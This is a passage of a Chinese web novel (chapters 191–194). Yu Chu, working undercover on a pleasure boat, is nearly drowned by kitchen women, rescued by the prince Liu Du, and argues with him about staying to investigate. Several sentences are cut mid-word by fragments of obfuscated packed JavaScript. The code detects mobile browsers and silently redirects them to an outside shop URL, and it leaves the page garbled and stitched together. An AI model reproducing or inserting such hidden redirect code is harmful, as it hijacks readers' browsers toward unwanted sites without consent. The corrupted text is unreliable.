l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252521|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直想着刚刚传菜时发生的事情。 “那味道,好像是……” 大概也是太累了,没多久,虞初也睡着了。 翌日,她们四个依旧做着传菜的活计。临近结束之际,钱丛突然被曹娘拦了下来。 “你留下,其他的收拾完这里就回去休息吧。” 钱丛一脸木然,呆呆的站在原地不知所措。 “等会你去换身衣服跟我过来!” 曹娘说完就要离开,像是还有别的什么事情等着自己去做。 “曹娘,是有人钦点钱丛吗?”元珍珠一把拦住了曹娘的去处,整个身子挡在钱丛的前面。 “倒也不是,就是有人要一个会些医术的人过去!” “原是这样,那确实钱丛更合适一些。” 曹娘见元珍珠也这么认为,不耐烦的挪开她挡在自己跟前的手臂:“我还有事,有什么事情明日再说!” “倒不是别的事情,只是钱丛那丫头你是知道的。就她那样木纳的性子,真过去了恐怕会很扫兴!” “这里别说你们四人之中只有她会医术,就整个船上我细细盘问过也没有一个是会医术的。难不成你元珍珠去吗?”曹娘一语惊醒梦中人,“你从小跟她一起长大,你和贝贝是不是多少都会一些?” “不多,就简单的包扎和学位还是认得的!” 元珍珠刚说完,旁边的元贝贝就连忙接上:“我从小没什么兴趣,我连穴位都不怎么认识!” “那宾客昨日新来的,今日又过来了。想必是昨日听说船上有会医术的姑娘医治人的事情想见见也说不定。珍珠你也是陪着钱丛一起去的人,也算不上滥竽充数。你刚刚的话倒是提醒我了,钱丛这样子过去。客人要是好说话还好,不好说话的就是我也要被牵连的。” 说着曹娘就拍了拍元珍珠的肩膀笑道:“我一开始就说了,你是适合在这里生存的。”临走之前还不忘称赞了元珍珠一番,说她是她们四人之中最知道为自己争取的人。钱丛满脸感激,易桦一脸茫然,极风娘子则不以为意。 钱丛拉着元珍珠的手,脸憋的通红。她颤颤巍巍的抖动着双唇吞吐:“珍珠,还是我……自己去吧……” 虞初看着钱丛,她说话的时候很害怕,但是眼神却非常的坚定,像是做好了某种极致的打算。她安慰的拍了拍钱丛的手小声安慰:“你放心,你忘了我确实是懂些医术的吗,区区一个男人,不用害怕!” “可是……珍珠你处处帮我,你若是真出了什么事情,我……” “钱丛,我好歹也帮了你这么多次,你就这么盼望的?” 钱丛立马慌张摆手:“不是不是,珍珠,真的不是。我就是……” 见钱丛的脸涨的更红,虞初也不打趣她了:“你安心等我,我自有办法应付。” 极风娘子站在虞初身后看着曹娘回头催促,上前拍了拍虞初的肩膀:“小心一些!” “放心!” 191. 第 191 章 水缸 曹娘确实是还有别的事情要交代,转头点了个妇人就让她带着元珍珠往那男子厢房去了。换完衣服,虞初还顺便去洗了个手,才跟着妇人走了。 “前面我看有人在打扫清场,我们从后面绕过去吧!” 老婆子询问了虞初的意见后,见她同意,就转身准备绕路。虞初清楚,这个时辰,正是一批客人离场的时候。里面确实会多很多人清场整理。也正因为是这个时辰,那男子让钱丛过去,怕是就不只是想了解了解钱丛的医术了,司马昭之心路人皆知。 “想了解医术,这还不简单。”虞初整理了一下袖口,跟着妇人绕着路走。 老婆子走在前面脚步匆忙,虞初越走越觉的不对劲,她的脚步愈发的变得警惕。 “姑姑这不是后厨吗?” 那婆子不理会虞初,脚步越来越快。虞初当然没有继续往前走,站在原地往后看了看,欲从原路返回。 “是你,元珍珠!” “姚嫂,……真巧啊!” 她刚回头就看到姚嫂从她身后走了出来,身后还跟着两个婆子,手里拿着棍子。眼底布满恨意,脸上还一副“看你往哪里跑”的得意。 “不巧,我可是特地在这等了好久呢,只是没想到是你,本来听说是钱丛,不过是你也一样,我们只是想知道答案。治病的是你们,那下药的也是你们是吧!” “姚嫂这话如何说起,钱丛不过是正好会针灸,捡巧了不是。再说,那钱丛刚开始一直不曾来过后厨,又怎么会是她下的毒。” “我们知道不是她下的毒,但是你可以啊,易桦也可以,你那个妹妹元贝贝亦可以。反正我回去思前想后,除了你们,还能是谁呢。” 虞初知道她们来着不善,又转身想从前面跑。 堵人当然不能只顾头不顾尾,前面早就站了更多的人。手里拿什么的都有,虞初乍看这稀奇阵仗,嘴角禁不住上扬了一下。 “这锅铲都带过来了,擀面杖怕是只有两根被人拿没了。” 先前领她绕路的婆子此刻早就没了身影,虞初只身一人被七八个婆子围在中间,表情有些无奈。 “你还有心情笑,哼,等会我看你笑不笑的出来。” 姚嫂朝着虞初走近,手上的擀面杖上下晃动。 虞初摸了摸头上的发簪,又将手放下没有拔下。她看了看前后阵仗,感觉还是后面的人少一些,索性直接就…… 跑为上计! 那几个妇人,常年劳作于后厨,又多是些力气活,手上的力气也都不小。趁着虞初逃跑之时一把就揪住了她的衣裳拽了回来。 “还想跑,给我打!” 几人操起手里的“武器”,就要往元珍珠的头上下去。可刚举起手,虞初就不知道从哪里掏出来的一个手帕,展开一晃。手帕里包着的粉末直接就眯了几人的眼睛。 瞬间几人放下手里的东西,不停的揉着眼睛。 “这毒药进入眼里,不赶紧冲洗会瞎的!” 几人不管信与不信,反正都朝着后面的水缸争先恐后的跑过去,她们反复的冲洗着自己的眼睛,哪里还顾及的上那个被她们围住的元珍珠。 虞初也舍不得浪费这个好机会,爬起来就要跑。 “元珍珠,是不是红姐指使你们几个人做的?”姚嫂后面的两个婆子拉着浑身是伤的红姐到了她前面。虞初尽管想跑,可是看见红姐身上的伤痕又气又恼。 “跟红姐又有什么关系,你不过就是管厨房的,什么时候还学起了衙门的本事了?” “我既是管事,自然管的了下面不听话的兵!” “你这叫滥用私刑,红姐犯了什么错,你要这么管教!” “没什么,就是本该她洗的盘子没及时做完。自己分内之事都做不好,不该教训吗?” 旁边的婆子看到姚嫂的眼色,立马上去又朝着红姐的胳膊上狠狠的掐了一下。 “啊!”红姐依旧不求饶,见珍珠往自己这边来了,立马喊道,“还不走!” 听见红姐让元珍珠赶紧跑,姚嫂气不过上去又是一耳光:“你不是不会讲话吗。先前这样也就只叫了两声,什么话都不肯讲,现在倒是会说话了,可是你脑子不好说错了话,就莫要怪我!” “红姐她能知道什么,你不要欺人太甚!” “欺人太甚,我们几个被拷问的时候你觉得是谁欺人太甚了呢?元珍珠,你不要忘了这是哪里。这个地方没有你说的衙门,也没有你说的欺人太甚的说法。说到底,就你如今的身份你还不如我呢。” 那几个忙着洗眼睛的婆子这时也都擦完脸回来了,看见姚嫂与那个元珍珠对峙,又从后面饶到了那个元珍珠的身后,以防她趁机溜走。 “你不就是想知道是怎么回事,不过说真的,我也想知道到底是在怎么回事。毕竟我们几个只是洗盘子的,哪里会知道你们到底做了些什么。” “你还嘴硬!”姚嫂见这个元珍珠软硬不吃,命令后面的两个老婆子揪住元珍珠往后厨就去了。 姚嫂子上去揪住虞初的头发就将她的头往刚刚那几个婆子洗眼睛的大水缸里摁:“我看你嘴硬到什么时候!” 一下子不行,那就两下子。姚嫂子算着时间,见她实在快憋不住了就拉她上来小喘一口气,接着又死死的按住她的头不肯她出水。无论这个元珍珠怎么挣扎都无济于事。旁边红姐想要上前帮元珍珠,无奈自己也被两个婆子摁在地上,不好动弹。 起初虞初只是挣扎,可是不知为何,当她的头被按在水里的时候,一股不知所以的寒意就侵入了她的心里。恐惧,慌张接踵而来,像一颗颗大石头压在她的心口,堵住她的气门。 “水……水……我讨厌水……”心里不断回荡着这几句话。她感觉整个人都闷住了呼吸,连憋气都没有力气去做。她的手脚发软,心里的恐惧逐渐占据了她整个身体。此后的时间她的手脚就逐渐变得僵硬,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297273|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣扎都慢慢放弃了。 “这才几下,怎么就没用了?”旁边的婆子害怕出事,小心的在姚嫂子旁边提醒。 “这才多久,不会出事的。我心里有数!”姚嫂子虽嘴硬,可她揪住她的手确实也感觉到了元珍珠的身子明显的僵硬了起来。正犹豫间,旁边一个白衣男子阴厉的盯着他们:“你们在做什么?” 姚嫂见此人虽穿着朴素,可这身衣裳的用料确是一般人用不起的柔锻。上面还绣着浅浅的暗纹,针线也非常人手艺。 “这丫头刚刚在前面冲撞了贵客,我们这也是想让她以后手脚伶俐些,莫要再发生这样让爷们不高兴的事情了。公子怎会到这地方,这后厨乱的很,还多星火,别把公子的衣裳弄脏弄坏就不好了。” “我在前面等我要的人,我见还不曾来,就自己亲自过来寻了。”那男子说话间就将头在水里的女子拉了出来,姚嫂子虽不乐意松手,也不敢多言以防得罪了贵客。 可好死不死,同行中总有那么几个不识人眼色的蠢东西。姚嫂子此刻也不曾想到,自己因为手下人的鲁莽,自己后半个月一直躺在榻上不能下床。 本来那男子扶起元珍珠就准备走了,具体往哪里去,姚嫂子也不好多问。毕竟在这船上,这样的事情屡见不鲜。可是跟她一起按住元珍珠脑袋的那个婆子,偏偏就揪住元珍珠的衣服不肯放人。 “公子,这是我们后厨的事情,你还是不要插手。至于公子你找的人,想必马上就会过去公子的厢房里去的……” 话未结束,那男子就不耐烦朝着那婆子狠狠的踢了一脚。虽然受脚力的不是姚嫂,可是那个婆子直接就被踢到旁边姚嫂子身上。二人一没站稳,被踢飞了好大一段距离。最后还是姚嫂子后背狠狠撞在墙上才得以停了下来。 后面的婆子除了扶人,旁的连吭都不敢吭。男子带着虞初要走,突然一个妇人又急冲冲的不知从哪里跑了过来。 “哎哟哟,公子怎么在这里。我带人过去的,既没看到公子,也把人带丢了。我这罪过大了,该如何是好。”妇人懊悔不已,转头一看,男子手上抱着的不正是刚刚跟在自己后面走路的元珍珠吗,立马上前拨开她湿漉漉的刘海,“这……这就是我给公子带的人……这……” “让开!” 妇人识趣的往旁边移了移:“她本来在我后面走的,也不知道什么时候不见的,这是发生了什么事情了这副模样。我看我还是去回了曹娘,给公子重新挑一个合眼的姑娘吧!” “不用!” “可是……” 男子转头礼貌的看了一眼妇人,妇人就乖乖的站在原地让男子将人带走了。 包厢暖阁里香炉清悠宛转的细烟飘忽直上,床边是刚刚虞初身上弄脏的衣裳。男子拉着虞初的手小心的擦拭着,见水温有些发凉,又准备转身要去换水。 “你……” 虞初的喉咙像是被什么东西噎住,勉强只吐了一个字。 192. 第 192 章 “怎么连几个老婆子都能欺负你了?” 男子丢下手里的盆子坐在虞初的床边,他想伸手去碰她的脸,可是他没敢。他收起了手垂在腰边,眼眸从未在虞初脸上离开一秒。 虞初本以为自己能见到他心中定会万分激动,可谁想一时间她竟连半句话都说不出口。模糊的双眼看着眼前的重影,喉咙火辣辣的如同火烧一般。 男子最后还是伸手抹掉了她脸上的泪珠:“初儿头上都有根白发了!” 男子说着就伸手摘掉了她鬓边的那根岔出来的短白发,然后坐在虞初旁边,二人四目相对许久,终未再讲话。 按理说屋里的窗户都关的严,不会有风吹到。可是虞初的眼睛还是不停的流着泪,尽管她自己也有意克制。她伸手想用袖口擦泪,最后只在胳膊嫩肤上抹出了一行泪迹。她终于意识到了什么,立马低头掀开过载身上的被子。 “刘渡!” “嗯!” 刘渡眼神拉丝的直勾勾的看着虞初,加上他这声带着磁性低沉的“嗯”,虞初一下子就涨红了脸。她下意识的躲开了刘渡炽热的目光,只觉燥热难耐,还带一些难为情。 刘渡看出了虞初脸上的绯色,见她神情又有些慌张,眼神一下子收敛不少。 “我看你衣服上面都是湿的,我知道你不愿意别人看到你……所以我自己帮你换的。”刘渡看了眼虞初肩膀处隐隐约约的伤疤眼里满是心疼,“你身上的伤,又多了好多。”刘渡忍不住伸手,可是虞初侧身下意识的躲开了。 刘渡瞳孔一震,片刻便恢复了温柔的笑意:“你知道这里是哪里吗,你也敢来。” “那王爷是什么身份来的这里,还是特意过来寻花问柳来的!” 刘渡左手撑着下巴,认真的看着虞初气呼呼的问话。 “不还是知道你过来了特意赶过来的!” 果然不出刘渡所料,虞初气的跟鱼鼓鳃似得,她嘴巴微微抿了抿才又转过来看着刘渡。 “其实你大可不来,我一个人也不会出什么事情。反正你又不是第一次把我一个人丢下。” 刘渡知道虞初心里的芥蒂,自觉不肯继续这个话题。他在刚刚看到她身上的那些多出来的新疤时,早就心中懊悔难受如刀割了。他转头看了眼周边,起身去倒了些温水递给了虞初。 “此刻有没有好些。” 门外一个姑娘敲门细语:“公子,你要的衣服我给你找来了。” “放在门口,我等会自己去拿。” 虞初眼神东张西望,一会看看裹在自己身上被子的绣纹花样,一会看看床头的蜡烛火心是否旺盛。就是手尖的倒刺此刻也被她细心的发现,然后就只伸手出来不停的撕着手上的倒刺,不再抬头。 刘渡接过她喝完的水杯放在桌上,然后去开门拿了衣裳继续关上门走到床边。他静静的站在她的身边,看着她一直玩着手上的倒刺竟出了神。 门外笑声连连,管弦之音不绝于耳。时不时还听见男子开怀畅饮的大笑,女子附和浅吟,好不欢愉。 “初儿,等会跟我出去!” 刘渡的语气没有商议,似乎还带着些严肃。 “不行,我还没弄清楚是谁。”虞初倔强的抬头看着刘渡,她自己也不知道为什么每次看到那张夜夜思念的轮廓时,自己就忍不住的流泪。是想念,是开心,还是委屈。或许都有,或许都不是。虞初突然不知道自己应该怎么面对眼前这个日思夜想的人,她低了低头正好看到自己腰间的疤痕,眼泪更加的止不住了。 “这边有我!” “所以你这次,还是想把我撇出去。所以你这次,还是要丢下我,自己去?” 虞初对身上的疤痕自卑,可是她更介意这几年,刘渡一次都没有出现在她眼前,哪怕只有一次,她也不会如此介怀。 “我没有要丢下你,这几年我知道你是安全的,所以我才没有去找你。更何况北齐内部暗流翻涌,时局未定。我自己都不知道会不会哪日醒过来,就会翻天覆地,甚至连翌日晨光都看不到。可是你,好不容易可以身在局外,我自然不会再将你拉进来,自私的让你跟我共赴死局。” “那你怎么就这么确定我是安全的,你为何会这么确定,这个死局,我不能入!” 虞初揪住刘渡的衣袖,声音沙哑:“你确实自私,你只成全自己。” “我……”刘渡一时语塞,尽管之前自己就知道自己的做法虞初定不会欣然接受。可是他还是那样做了,如今怎么解释都是无用。他坐在床边张开双手环抱住虞初:“初儿,这里真不是你来的地方,你相信我,我真的有办法。” 刘渡身上的木质香味这么多年一直没有变过,他的喉咙倚在虞初的脸边,喉结上下浮动时虞初也会感到上下微动。他宽大的手掌上下轻柔着虞初的肩膀,时不时的还会将虞初往怀里抱的更紧一些。 “王爷这样抱着一个女子,回去怎么跟府上内眷交代!”虞初一把推开了刘渡,可她也忘记了自己身上只有一层被子,推开刘渡的动作太大,身上的被子也一下子就被掀开了。 刘渡没客气的又上下看了一番,嘴角得意上扬:“只你一个内眷,终身如是!” “看什么看,把衣服给我!”虞初的脸一下子变得通红,赶紧把被子胡乱的拉到自己身上。 刘渡见她语气有些恼,听话的回头去把衣服拿给了虞初。 “要不要我帮你?” “不劳烦王爷了!” 虞初气呼呼的自己穿着衣服,见刘渡还站在床边,没好气的说道:“转过去!” 刘渡边转边嘀咕:“又不是没见过,你刚刚的湿衣服就是我给你换下来的!” “你还说!” 听到这里,刘渡再也不想憋着了,索性直接转过头一下子就跨到了虞初身边:“我是你夫君,不是正人君子!” “不敢当,那场大火过后,我就不是三皇妃了!”虞初加快手上的穿衣动作,或是太着急了,在系裙带时有根带子一直抽不出来,可她越是着急越是抽不出来。 刘渡站在旁边默默的看着那根裙带被她踩在脚底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338186|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,见她有些恼了就想上前帮她拉一把。可是手刚伸过去,虞初立马吓得往后退了一大步,绳子是抽动了,可是整个人也跟着失重了。一个踉跄,眼见着就要头摔到床沿上。刘渡眼疾手快的揪住了那根裙带,用力将虞初往自己这里拉了一把,另一只手顺势接住她的后背,这才瞬间平息了刚刚那场手忙脚乱的慌张。 “你刚刚听见什么声音了吗?”虞初整个人躺在刘渡悬空的手臂上,眼神左顾右盼。 “听见了啊,你裙子撕了。” 虞初刚刚自己都差点摔下去,哪里听得清到底是哪里的声音。现在细细想来,确实是布料撕毁的清脆。她直腰站起看向自己的下半身,那裙子直接从裙带处豁了个大口子,撕了一半出来。 “刘渡,你做什么!” 刘渡无奈的摊开双手,一脸无辜:“我能做什么,我刚刚看你差点摔倒……扶了一下……罢了。”刘渡心虚的看了看还挂在自己手腕处的那半根系带,连着的群布摊在系带另一头,孤零零的落在刘渡的脚边。 “你就是故意的!”虞初见裙子被撕成两半,索性直接摆烂躺下了。突然又想起什么,看了眼乖乖站在旁边的刘渡,左手拉着被子给自己盖上,然后闭目顺气。 刘渡看着她气呼呼的样子宠溺的笑了笑,他走到床边坐下,温柔的伸手捋顺她糟糕的刘海碎发。 “裙子撕坏了再让她们拿过来一个就是,你若是介意我府上又有别人,我现在就告诉你,真的没有过!” 刘渡的嘴角一直没有下来过,他指尖的温柔比春风还要柔和,轻轻拂过虞初脸上时只感受到手指划过的暖意。 “你昨日便来过一次不是!” 刘渡释然一笑:“原来是气这个,确实来过,不过我可没有跟哪个姑娘共度春宵。” “昨日我传菜的时候闻到了……闻到了你身上的味道,我就在想会不会在这里能找到你。可是我掀开帘子一看,坐在那边的并不是你,我就……”虞初没说自己失落的话,只是顿了一下继续说道,“可是,我昨晚上看到肖浅出去了,好一会才回来,我就又怀疑了。” “然后呢?” “然后今天就遇到你了!” 虞初省略了自己的小心思,她在跟那几个婆子周旋时,明明有大把机会直接逃走,可是她并没有。她在赌,赌他在! “初儿,等会跟我离开这里,肖浅她也会撤离的。这里太乱了,不是你们该来的地方。” “你都查到了什么?” 刘渡严肃的看了一眼虞初,转手又出去喊来门口的丫头:“麻烦你重新给我找一身干净的衣裳。” 小丫头接过刘渡给她的银块,高兴的应下。转身要去时,被门口的曹娘撞见。小丫头就把事情说了一变。曹娘伸头看了看站在门口的清秀公子不禁口中感叹道:“到底是年轻气盛,脱衣服的时间都想着省下,也太心急了些。”然后问了里面的是哪位姑娘后又不禁笑道:“我早就说了,她是适合这里的!”说完又忍不住看了眼那长相出众的公子,“便宜这丫头了!” 193. 第 193 章 闲聊 虞初躺在里面,刘渡关好门后她就着急问道:“你站门口那么久做什么的?” 刘渡浅笑:“没什么,就是让小丫头给你拿个衣裳过来。” “希白呢,怎么你只一人就过来了?” 虞初想问这段时间他失踪的事情,可又不想让他觉得自己关心他,旁敲侧击的随口问起了希白。 “他有别的事情做,跟万尘安在一起呢!” 刘渡边说话边捡起地上的布料,好好叠好放在旁边的椅子上。 刘渡走到床边,把被子往里面挽卷了几下,然后自己坐在空白的床沿上:“还想问什么?” “没什么好问的了,等裙子到了我就回去。” “你非要回去?” “我好不容易查到这里了,我不想功亏一篑。更何况这船上大多都不是自愿过来的,我不想袖手旁观。” 虞初说出这话刘渡倒是一点不奇怪,这确实是她做的出来的事情。尽管自己心里不想她卷进这样腌臜的事情,可事实就是,他拿她没有半点法子。 “既然如此,我就先跟你一起解决这里的事情。” “你跟我?” 虞初不知想到了什么不禁笑了一下:“你怎么留下来?” “这船上流连忘返的公子那么多,想来也不缺我这一个!” “堂堂王爷留恋烟花之地,传出去名声都丢尽了!”虞初左想右想还是觉得不妥,她一下子坐了起来,“你现在是什么身份上来的这船?” “我还不至于蠢到用真实身份过来,是不是,元珍珠?” 虞初斜眼瞪了一下刘渡:“你一个流落在外的王爷,还有闲钱来这里。我可是听说这船上可不是一般人能进的来的。” 你未免也太操心了,我自然是有我自己的办法。刘渡神秘的浅笑了一下,见虞初不买账又哄道,“好啦好啦,你之前陪我办公时不就知道我在外面已有不少置业。其实我在之前就注意到了这个琉璃江了,在七年前就买下了这边的很多商铺,包括现在这边最大的钱庄也是我的人。” “就为了来这船上看美色!” “你……”刘渡觉得虞初不经意吃醋的样子像个鼓气的包子,尽管自己已经解释的很利落了,她还是会时不时的呛自己一口闷气。 “偶尔会来一趟,不过是走走过场。”刘渡说话时注意着虞初脸上细微的表情变化,见她越是冷脸,自己愈发得意。 “那……”虞初刚问话,门口就又有人敲门。虞初警惕的闭口让刘渡去看什么情况。 “公子啊,你刚刚要的干净衣裳曹娘我拿来了!” “曹娘?” 虞初皱眉,刘渡想要开门,她连忙摆手阻止。然后又招手让他过来自己这边。 “这曹娘就是我上面的,人多疑难缠。你还是小心谨慎一些。” 刘渡默默的点了点头过去开门。刚打开门拿了衣服就要关门。可是曹娘连忙将脚卡在门缝中:“公子何必这么着急关门,没穿衣服的是她又不是你……” “你做什么……”刘渡想关门,奈何这个曹娘脚脖子还被自己卡在门内。可是只要稍微一松力,那曹娘便顺势要推门进来。 “哎呀,公子,我刚刚特地给你又拿过来一瓶好酒助兴。这珍珠可能不懂事,怠慢了公子。我这不是特地过来先赔礼了,要是日后她有做的不妥的地方,公子也莫要怪她,以后就会熟练一些了。” “你……”刘渡听不惯曹娘口里对虞初的轻薄之词,脸色很快就摆在脸上,“言语污秽,给我出去!” 曹娘眉头微皱,嘴上虽说着把酒给他后就走,可是脚却丝毫没有收回的打算。 “公子也莫要害羞,我将酒送进去就出来了。” 二人争执不下,刘渡无奈的回头看了眼虞初。这不看不要紧,刚转过头来的刘渡被眼前这一幕吓得有些愣住。曹娘趁刘渡僵在原地之时直接就推开门,手上端着酒瓶就进去了。 “哎……”刘渡明显没有拦得住,只好在曹娘进去之后把门带上,省得外面的人会看到什么。 曹娘今日过来,说是为了看一眼元珍珠,实际则是因为这刘公子来过船上数次了,一次都没有找姑娘过夜过。就是有找过几个姑娘,也就是闲聊几句就走了。本来她对这个刘公子就是有些存疑的,今日一个新来的丫头让他留下,曹娘自然是要搞清楚这其中会不会有什么猫腻,毕竟这元珍珠也是刚来没多久的,还算不上多靠谱的人。 刚进来的曹娘也被吓了一跳,床沿边破碎的裙子胡乱挂在上边,再旁边一些是一个粉色的肚兜,肚兜上只剩一根带字连在上面。元珍珠紧紧的抓住被子裹在自己胸前,头发上的装饰一个都不见了,头发乱糟糟的披在肩上,就是枕头也是一个在地上一个横在床中间。曹娘轻微干咳了一声,连忙放在手里的酒瓶转身就出去了。临走时路过刘渡身旁时还忍不住说道:“是我言语污秽,污秽!” 刘渡看着虞初搞的一切,自己都禁不住苦笑两声。就是听见曹娘小声嘲讽,自己也只能全盘照收了。 打发走了曹娘后,刘渡赶紧去关紧了门。 “好像我不把你带走都有些说不过去了!” 刘渡边说边用眼神提示着虞初床边她干的好事。 “我确实不能跟你走,这个曹娘是直接帮后面的人做事的。好几次我都看见她进去那个小屋,她做什么说什么都会听里面的人的话。可是这人大概也不是最后面的人,能有这财力势力做这些事的,应该不会闲的一天到晚都在船上。” “正如你所言,后面的人不会在这船上,那你为何还要在这里。”刘渡再一次蹲下身捡着地上的发簪碎布,边听她说话边整理整齐放在旁边。 “一是这船上有很多无辜的女孩子,二是……我觉得这船上的交易没有那么简单,若不然,你也不会早在几年前就注意到了这琉璃江上的交易,不是吗?” 刘渡知虞初不会轻易妥协跟他离开,他歪身看了一眼门外,不正经的笑了两声。 “刘渡,你要做什么……” 虞初看见刘渡将蜡烛一一熄灭冲着自己这边过来,又想起自己身上的衣服还没有穿好,连忙拖着厚厚的被子就下床去够衣服去了。 “你这是趁人之危!”,虞初一边移动着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虞初摔的越爽,屋里的碎片也就越多。刘渡刚开始只是将她整个人拎起来踩在自己脚背上,后来觉得再不阻止,估计周边能摔的东西都要被她摔光了。一把搂住虞初的腰,一手直接就把人抱到了床上让她安分坐好。 “人走了……” “刚刚曹娘不是刚进来查看过了吗?” “他们能做到这个程度,也不是你一两句就能掩饰过去的。我这几年零碎的过来这船上也有七八次了,每次他们都特意会派人盯着我。当然,也不只是我,所有来这船上的,都一视同仁。” “过来七八次了……” 刘渡意识到自己说错了话,立马顾左而言他道:“你没穿鞋就不要下来了,我们先睡,明日再说。” “先睡?” “不睡觉吗?”刘渡踢了踢脚边的碎片,“我说的是真的睡觉!” “你把曹娘的酒也摔碎了。” “我故意的,你闻不出来里面不只有酒吗?” “我闻不出来!”虞初翻了个白眼,掀开被子就坐到床边找鞋。 “此刻我若是回去正是时机。刚刚屋里动静这么大,回去正好!” “就不能不……”刘渡话还未完,虞初就拎过来鞋子穿上,起身就去开门。临走时她砸门口停顿了一会,刘渡正欲开口,虞初转头一本正经看着他。 “公子若觉得无聊,可找旁的姑娘闲聊几句!”说完,门就被狠狠的关了起来,留下刘渡一人在里面摇头。 “闲聊……也不行吗?” 194. 第 194 章 虞初刚出房门,就看到曹娘拿着扇子站在远处打量着自己。她瞬间装成一副可怜兮兮的模样,两手捂在胸口处就要离开。曹娘立马上前拉着虞初的手安慰道:“这里面是发生了什么事情啊?” “本来还好好的,后来他走路的时候不小心将曹娘你给他的酒打碎了,就整个人跟炸毛的狗一样,对着我就一顿乱摔东西。我也没惹他,我都不知道为什么,怕是心情也不怎么好!” “不会吧,我刚刚那酒……”曹娘自我怀疑的回想着自己往里面到底下的什么料。听到虞初的形容,越发觉得是自己将迷药错放成扰人性情的狂躁之药了。 “阿弥陀佛,这事确实都怪我。”曹娘一边安慰着元珍珠,亲自将她送回了东院。一边思想向后,自己刚刚到底是哪步出了问题。 “这刘公子以前也不这样啊,大概是你也不合他胃口,不过好在你没什么事情。回去梳洗梳洗,回去好好睡上一觉就都忘了吧!” “嗯!”虞初委屈的应下,声音哽咽。曹娘看着元珍珠不禁摇摇头,“明日你就好好休一天吧,这刘公子我看着应付就是。” 曹娘因前面还要人照料,将元珍珠送到门口就转头离开了。 虞初看着曹娘走的远了,立马挺直了腰板,将自己的装扮衣裳都好好整理了一番才进去了。 此时早就过了子夜,虞初想着大家估计都睡下了,走路也是蹑手蹑脚的生怕将她们吵醒。可是刚到放门口,她发现里面竟还有光亮。她推开门,只见钱丛跟易桦二人坐在床边,极风娘子则昏昏欲睡的靠在墙边,眼睛困的都有些睁不开来了。 “你们怎么还没有睡下?” 虞初看出了钱丛脸上的担忧,大摇大摆的走到钱丛跟前:“你看,我不是好好的吗,不用担心了。” 钱丛愧疚的看着虞初,看见她如此不以为意的跟自己说话,心里愈发难受。后面一没忍住直接就嚎出了声:“可是……可是珍珠,你的衣服都不是刚刚出去的那套了!” 虞初低头看了眼自己的衣服,然后若有其事的坐在易桦和钱丛中间。 “带我离开的那个婆子你们记得吗?” “没怎么见过,出了什么事情了吗?” 虞初盯着易桦看了一会点头说道:“你们没有听到今日发生的事情了吗?” 易桦一脸疑惑的上前抓着元珍珠的手:“你到底在说什么啊?” “今日我离开的时候,被那个老婆子带到了后厨,然后被那几个后厨的老婆子围攻了。一起上来把我的头就往水缸里摁,多半是想弄死我。” 钱丛立马站直气愤道:“这老婆子是跟那后厨的人一路的,走,我们去找她们算账!” 极风娘子本来靠在墙上睡觉,突然听到这事,也揉了揉眼睛移到了易桦身旁坐着。 “我倒是觉得这带我走的那个不是跟后厨一路的,不过她听谁的话?” “曹娘!”易桦一脸惊诧,“可是曹娘不是说有事情先去忙了,而且她好像对我们都也还好啊。” “是了,发生这样的事情想必后厨也是有些动静的。可是我们这东院竟没听到半点风声。” 钱丛说着就上前拉着虞初将她胳膊上的衣袖往上撸了许多,这动作快的虞初都有些措手不及。可当虞初想要缩回胳膊的时候钱丛已经看到了她身上深深浅浅的疤痕。 钱丛沉默,就是一旁本来还张罗着也要去找后厨那帮婆子算账的易桦也突然没有了声音。她们不敢相信的盯着虞初,钱丛慌张的赶紧将虞初的衣裳拉好。 “我只是想看看你有没有受伤,对不起……” 极风娘子本来想着有他在虞初是不会被欺负的太狠,可是当她也看到了虞初身上的那些疤痕时,她的表情也立马变得沉重了起来。她缓慢起身走到虞初身旁,静静的看着她。 虞初无所谓的笑了笑:“以前倒霉,总会遇到几个心肠坏的。不过你说我倒霉,我又经常会遇到很好的人。仔细想来,多半还是幸运的。” 易桦平日里虽有些大大咧咧的还有些口无遮拦,可是此刻的她跟旁边的两个人一样都选择了沉默。 “后厨的几个婆子都睡下了吧!”极风娘子刚说话旁边的易桦就也像根刚被点燃的炮炸一般站了起来,“睡不睡的,我也知道她们在哪。” 钱丛软糯的跟在易桦和极风娘子身后,临走时还回头拿了根屋里的掸子,随后就小步撵上前面的三个人。 虞初走在中间,有些哭笑不得。她实在是有些看不下去钱丛的蠢钝模样,伸手抽掉了她腰间的掸子:“妹妹,未免太招摇了些。” 钱丛见掸子被她拿走扔在路边,一下子就有些六神无主了。 “珍珠,可是等会万一真的打起来,我没有东西肯定打不过她们的。”钱丛越说越觉得不对,索性回去又去将那个掸子捡了起来。 “你明晃晃的拿着这跟比你胳膊还要长一些的掸子,生怕不打草惊蛇。你听我的,扔了,然后跟着我就行了。谁说一定要动粗了。” 